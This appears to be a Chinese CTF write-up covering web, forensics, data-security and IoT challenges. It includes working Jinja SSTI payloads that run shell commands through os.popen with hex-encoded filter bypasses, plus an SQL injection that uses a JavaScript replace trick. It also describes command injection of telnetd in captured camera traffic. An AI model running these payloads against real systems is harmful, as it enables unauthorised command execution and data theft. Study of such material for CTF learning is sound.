签到

image-20250118193112937

web

Rank-l

【Flag完整格式一般为:DASCTF{******},只需要提交{}内的内容。若Flag为其它格式,则会在题目描述中单独说明。】

49测试得到HTML_Entity编码的回显,ssti特征

image-20250118113341316

测试得到子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{{''.__class__.__bases__[0]}}
<class 'object'>

{{''.__class__.__bases__[0].__subclasses__}}
<built-in method __subclasses__ of type object at 0x7ff042cb17e0>

{{''.__class__.__bases__[0].__subclasses__()}}
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>

{{''.__class__.__bases__[0].__subclasses__()[39].__init__}}
<slot wrapper '__init__' of 'object' objects


{{''.__class__.__bases__[0].__subclasses__()[39].__init__.__globals__}}



{{c.__class__.__mro__[1]}}
{{c.__class__.__mro__[1].__subclasses__()}}
{{c.__class__.__mro__[3].__subclasses__()[133]}}


[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '__future__._Feature'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'ast.AST'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>

image-20250118113446398

直接利用os._wrap_close无果

image-20250118113850166

image-20250118114004700

直接调用os库执行

image-20250118114051631

直接用,但是flag和cat被过滤了,十六进制绕过即可

1
{%print(config.__class__.__init__.__globals__['os'].popen('`printf "\x6c\x73\x20\x2f"`').read())%}
1
{%print(config.__class__.__init__.__globals__['os'].popen('`printf "\x73\x6f\x72\x74\x20\x2f\x66\x6c\x61\x67\x66\x31\x34\x39"`').read())%}

image-20250118114454629

image-20250118114241572

用fenjing的api也可以实现,自带的bypass来

sqli or not

PHP是世界上最好的语言,但是不如Nodejs

info传参json

正则匹配整个json的逗号,正则匹配参数值的单双引号和反斜杠

unicode编码走不通

考虑$`,它可以匹配标志位前的所有字符,&可以绕过逗号匹配

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace#%E6%8C%87%E5%AE%9A%E5%87%BD%E6%95%B0%E4%BD%9C%E4%B8%BA%E6%9B%BF%E6%8D%A2%E9%A1%B9

014319e5ca34d966cc6f5eafc1ef60d

1
info={"username":"$` or 1=1 -- "&info="password":"yiyi"}

传到sql语句里就是

1
select * from userinfo where username = '$` or 1=1 -- ' and password = 'yiyi';

相当于

1
select * from userinfo where username = '' or 1=1 -- ' and password = 'yiyi';

就成功闭合了

输入后自动下载flag文件

image-20250118161201013

image-20250118160213020

misc

糟糕的磁盘

Oops!你能找到磁盘中的秘密吗? 【Flag完整格式一般为:DASCTF{******},只需要提交{}内的内容。若Flag为其它格式,则会在题目描述中单独说明。】

五个块,一眼raid

image-20250118193514698

UFS一把梭

image-20250118193819135

得到

image-20250118194125245

根据大小判断secret应该是个容器

挂载

image-20250118195431696

image-20250118195444192

DS

easydatalog

请你对附件中的日志文件进行分析,找出“张三”的身份证号和手机号,譬如其身份证号是119795199308186673,手机号是73628276413,则提交的flag为“119795199308186673_73628276413”。 【Flag完整格式一般为:DASCTF{******},只需要提交{}内的内容。若Flag为其它格式,则会在题目描述中单独说明。】

access.log好像没什么东西

error.log发现关键文件头

image-20250118200055676

image-20250118200957802

对应找到文件尾部FF D9和50 4B 0506分离出完整的文件

image-20250118202342763

提取jpg的水印

image-20250118202536084

解压压缩包

image-20250118202622886

DASCTF{30601319731003117X_79159498824}

DSASignatureData

导出对象-http

image-20250118204522405

image-20250118204628848

发现userid相同的前一个位name idcard等信息 后一个位message

%3fuserid=xxxx和public-xxxx.pem对应

gpt溜脚本进行签名校验

image-20250118205218423

image-20250118205239920

更改一下输出格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import os
import json
import csv
from Crypto.Hash import SHA256 # 正确引入 SHA256 模块
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from base64 import b64decode
from tqdm import tqdm
# 文件目录配置
base_dir = r"C:\Users\31702\Downloads\tempdir\DS附件\DSASignatureData附件"
data_dir = os.path.join(base_dir, "1")
signature_file = os.path.join(base_dir, "data-sign.csv")
public_key_dir = os.path.join(base_dir, "public")
output_file = os.path.join(base_dir, "tampered_data.csv")

# 读取签名数据
def load_signatures(file_path):
signatures = {}
with open(file_path, "r", encoding="utf-8") as f:
reader = csv.DictReader(f)
for row in reader:
userid = int(row["username"])
signatures[userid] = {
"name_signature": row["name_signature"],
"idcard_signature": row["idcard_signature"],
"phone_signature": row["phone_signature"],
}
return signatures

# 验证签名
def verify_signature(public_key_path, data, signature):
try:
# 加载公钥
with open(public_key_path, "r") as key_file:
key = DSA.import_key(key_file.read())
# 创建签名验证器
verifier = DSS.new(key, "fips-186-3")
# 使用 SHA256 创建哈希对象
hashed_data = SHA256.new(data.encode("utf-8"))
# 验证签名
verifier.verify(hashed_data, b64decode(signature))
return True
except (ValueError, TypeError):
return False

# 处理数据文件并验证签名
def process_data_files():
tampered_data = []
signatures = load_signatures(signature_file)

for userid in tqdm(range(1, 2001)):
filename = f"%3fuserid={userid}"
file_path = os.path.join(data_dir, filename)
public_key_path = os.path.join(public_key_dir, f"public-{userid:04d}.pem")

if not os.path.exists(file_path) or not os.path.exists(public_key_path):
print(f"Skipping missing file: {filename} or public key: public-{userid:04d}.pem")
continue

# 读取数据文件
with open(file_path, "r", encoding="utf-8") as f:
data = json.load(f)

# 获取签名
signature_entry = signatures.get(userid)
if not signature_entry:
print(f"No signature found for userid: {userid}")
continue

# 验证每个字段的签名
tampered = False
for field, signature_field in zip(["name", "idcard", "phone"], ["name_signature", "idcard_signature", "phone_signature"]):
field_data = data.get(field, "")
signature = signature_entry.get(signature_field, "")
if not verify_signature(public_key_path, field_data, signature):
tampered = True
break

if tampered:
tampered_data.append({"userid": userid, "data": json.dumps(data, ensure_ascii=False)})

# 保存被篡改的数据到CSV文件
with open(output_file, "w", encoding="utf-8", newline="") as f:
writer = csv.DictWriter(f, fieldnames=["userid", "name", "idcard", "phone"])
writer.writeheader()
for item in tampered_data:
data_dict = json.loads(item["data"])
writer.writerow({
"userid": item["userid"],
"name": data_dict["name"],
"idcard": data_dict["idcard"],
"phone": data_dict["phone"]
})

print(f"Tampered data saved to {output_file}")

# 主程序入口
if __name__ == "__main__":
process_data_files()

image-20250118210921671

image-20250118210944015

上传文件得到flag

easyrawencode

RS死丢丢扫到文件

image-20250120103440096

使用lovelymem导出

image-20250120111124425

image-20250120111140367

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

hackkey = os.getenv('hackkey')
if not hackkey:
raise ValueError("Environment variable 'hackkey' is not set")

with open('private.pem', 'r') as f:
private_key = RSA.import_key(f.read())
public_key = private_key.publickey().export_key()

aes_key = hashlib.sha256(hackkey.encode()).digest()

with open('data.csv', 'rb') as f:
data = f.read()

cipher_aes = AES.new(aes_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
enc_aes_key = cipher_rsa.encrypt(aes_key)

with open('encrypted_data.bin', 'wb') as f:
f.write(ciphertext)

print(enc_aes_key.hex())
print(cipher_aes.nonce.hex())
print(tag.hex())

同理导出另外两个文件

image-20250120111807257

阅读代码可知少了一个hackkey

image-20250120111931417

控制台历史中看到

image-20250120112004527

经过尝试得到正确换行

1
2
3
4
C:\Users\Administrator\rsa>python hack.py                                       
20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334
d919c229aab6535efa09a52c589c8f47
5b204675b1b173c32c04b0b8a100ee29

windsurf写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

# 密文数据
encrypted_aes_key = bytes.fromhex('20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334')
nonce = bytes.fromhex('d919c229aab6535efa09a52c589c8f47')
tag = bytes.fromhex('5b204675b1b173c32c04b0b8a100ee29')

# 读取私钥
with open('private.pem', 'r') as f:
private_key = RSA.import_key(f.read())

# 使用RSA私钥解密AES密钥
cipher_rsa = PKCS1_OAEP.new(private_key)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)

# 读取加密数据
with open('encrypted_data.bin', 'rb') as f:
ciphertext = f.read()

# 使用AES-EAX模式解密
cipher_aes = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
data = cipher_aes.decrypt_and_verify(ciphertext, tag)

# 将解密后的数据写入文件
with open('decrypted_data.csv', 'wb') as f:
f.write(data)

print("解密完成,数据已保存到 decrypted_data.csv")

image-20250120112345900

然后就是rc4解密个性签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import pandas as pd 
import base64
import re

def is_valid_base64(s):
pattern = r'^[A-Za-z0-9+/]*={0,2}$'
return bool(re.match(pattern, s))

def clean_base64(s):
# 移除非Base64字符
s = re.sub(r'[^A-Za-z0-9+/=]', '', s)
# 确保正确的填充
if len(s) % 4:
s = s.split('=')[0]
s += '=' * (-len(s) % 4)
return s

def rc4_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
return S

def rc4_decrypt(key, ciphertext):
# 清理输入
key = str(key).strip()
ciphertext = str(ciphertext).strip()

# 检查输入是否为空
if not key or not ciphertext:
return "Error: Empty key or ciphertext"

# 清理和验证Base64
ciphertext = clean_base64(ciphertext)
if not is_valid_base64(ciphertext):
return "Error: Invalid Base64 format"

S = rc4_init(key)
i = j = 0
plaintext = []

try:
ciphertext_bytes = base64.b64decode(ciphertext)
except Exception as e:
return f"Error: Base64 decode failed - {str(e)}"

for byte in ciphertext_bytes:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
plaintext.append(byte ^ k)

try:
result = bytes(plaintext).decode('utf-8')
# 只保留可打印的ASCII字符和基本标点
result = ''.join(char for char in result if 32 <= ord(char) <= 126)
# 验证结果是否看起来像有效的文本
if len(result) < 4 or not any(c.isalpha() for c in result):
return "Error: Decryption result doesn't look like valid text"
return result
except UnicodeDecodeError:
return "Error: Could not decode result as UTF-8"

# 读取CSV文件并修复可能的格式问题
def read_and_clean_csv(file_path):
with open(file_path, 'r', encoding='utf-8') as f:
lines = f.readlines()

# 清理每一行
cleaned_lines = []
for line in lines:
# 移除行中可能的Base64片段
parts = line.strip().split(',')
if len(parts) >= 7: # 确保有足够的列
cleaned_lines.append(','.join(parts[:7])) # 只保留前7列

# 写入临时文件
temp_file = 'cleaned_data.csv'
with open(temp_file, 'w', encoding='utf-8', newline='') as f:
f.write('\n'.join(cleaned_lines))

return pd.read_csv(temp_file)

# 读取并清理CSV数据
df = read_and_clean_csv("decrypted_data.csv")

print("解密结果:")
print("-" * 50)
success_count = 0
total_count = 0

for i, row in df.iterrows():
total_count += 1
try:
password = str(row['密码']).strip()
ciphertext = str(row['个性签名(加密版)']).strip()
username = str(row['用户名']).strip()

# 跳过明显无效的数据
if len(password) < 4 or len(ciphertext) < 8 or '==' in username:
continue

# 跳过包含多个Base64字符串的数据
if ciphertext.count('==') > 1:
continue

decrypted = rc4_decrypt(password, ciphertext)

# 输出所有成功的解密结果
if not decrypted.startswith("Error"):
success_count += 1
print(f"用户名: {username}")
print(f"密码: {password}")
print(f"原密文: {ciphertext}")
print(f"解密结果: {decrypted}")
print("-" * 30)
except Exception as e:
continue

print(f"\n总共处理了 {total_count} 条数据,成功解密 {success_count} 条")

image-20250120113210308

iot

非预期 Shift+f12看到

image-20250118203519245

sharkp

筛选http流看到是一个爆破接口的一个过程

筛选出POST数据

image-20250207204005993

在/setSystemAdmin接口发现在AdminID字段注入telnetd命令开启了摄像头的telnet服务

image-20250207204021348

分析telnet流量

image-20250207204145915

通过8000端口筛选对应tcp流

image-20250207204218234

在http流中发现elf文件头

image-20250207204238154

dump下来后使用qemu-mipsel模拟执行

抓包对应ip

image-20250207204347935